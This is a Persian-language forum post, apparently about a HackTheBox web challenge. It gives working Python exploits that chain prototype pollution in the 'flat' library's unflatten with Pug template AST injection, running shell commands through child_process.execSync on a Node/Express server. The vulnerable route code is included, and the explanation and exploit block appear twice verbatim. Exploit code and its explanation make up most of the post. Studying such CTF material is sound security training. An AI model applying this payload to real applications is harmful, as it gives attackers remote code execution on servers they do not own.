سلام دوستان من امروز توی سایت hackthebox
به یک مشکل برخوردم
داستان از این قراره که یه سایت هست که فیلد داره و اون فیلد اسم مشخصی رو از ما میگیره یه ورودی رو به ادرس /api/submit پست میکنه
که اگه ما یه بخش اضافه با جیسان بفستیم اون کد رو ران میکنه
ادرس سایت چلنج رو باید خودتون از hathebox بگیرید چون متفاوته سورس رو هم میتونید دانلود کنید
اما من وقتی دنبال این داستان رفتم به هر جایی سر زدم نشد که نشد
حتی اسکریپت های خودشون هم که میگن کار کرده کار نمیکنه برا من و 404 میده
این اسکریپت منه
import requests
TARGET_URL = 'http://host:port'
r = requests.post(TARGET_URL+'/api/submit', json = {
"artist.name":"Gingell",
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync('cat flag* > static/js/main.js')"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
print(r.status_code)
print(r.text)
print(requests.get(TARGET_URL+'/static/main.js').text)
صفحه اکسپرس
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body); #نقطه اسیب پذیر تابع منسوخ
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});
module.exports = router;
این یه چلنج توی سایت hackthebox وب بود
که قرار بود با ارسال داده اضافی توی json دستور ما ران شه
چون unflatten درست دخواست رو فیلتر نمیکنه
بعد وقتی pug دنبال ایجکت میگرده و ما ابجکت مخرب رو ارسال کردیم
یه اکسپلویت داره که نوشتمش فکر کنم بهتر متوجه شید
import requests
TARGET_URL = 'http://138.68.155.238:31223'
# make pollution
r = requests.post(TARGET_URL+'/api/submit', json = {"artist.name":"Westaway",
"__proto__.type": "Program",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat flagaS4Fe > static/js/main.js')" }
})
print(r.status_code)
print(r.text)
# rc = requests.get(TARGET_URL+'/static/js/main.js')
# print(rc.text)
تارگت url هم سایت بهتون میده
درواقع میاد روی سرور خودش فایل نودجی اس خودش که داکرایز شده رو اجرا میکنه ایپی رو به شما میده
و شما باید نفوذ کنید و فلگ رو که مخفی هست پیدا کنید مثل ctf های معمول
این یه چلنج توی سایت hackthebox وب بود
که قرار بود با ارسال داده اضافی توی json دستور ما ران شه
چون unflatten درست دخواست رو فیلتر نمیکنه
بعد وقتی pug دنبال ایجکت میگرده و ما ابجکت مخرب رو ارسال کردیم
یه اکسپلویت داره که نوشتمش فکر کنم بهتر متوجه شید
import requests
TARGET_URL = 'http://138.68.155.238:31223'
# make pollution
r = requests.post(TARGET_URL+'/api/submit', json = {"artist.name":"Westaway",
"__proto__.type": "Program",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat flagaS4Fe > static/js/main.js')" }
})
print(r.status_code)
print(r.text)
# rc = requests.get(TARGET_URL+'/static/js/main.js')
# print(rc.text)
تارگت url هم سایت بهتون میده
درواقع میاد روی سرور خودش فایل نودجی اس خودش که داکرایز شده رو اجرا میکنه ایپی رو به شما میده
و شما باید نفوذ کنید و فلگ رو که مخفی هست پیدا کنید مثل ctf های معمول
آیا مایل به ارسال نوتیفیکیشن و اخبار از طرف راکت هستید ؟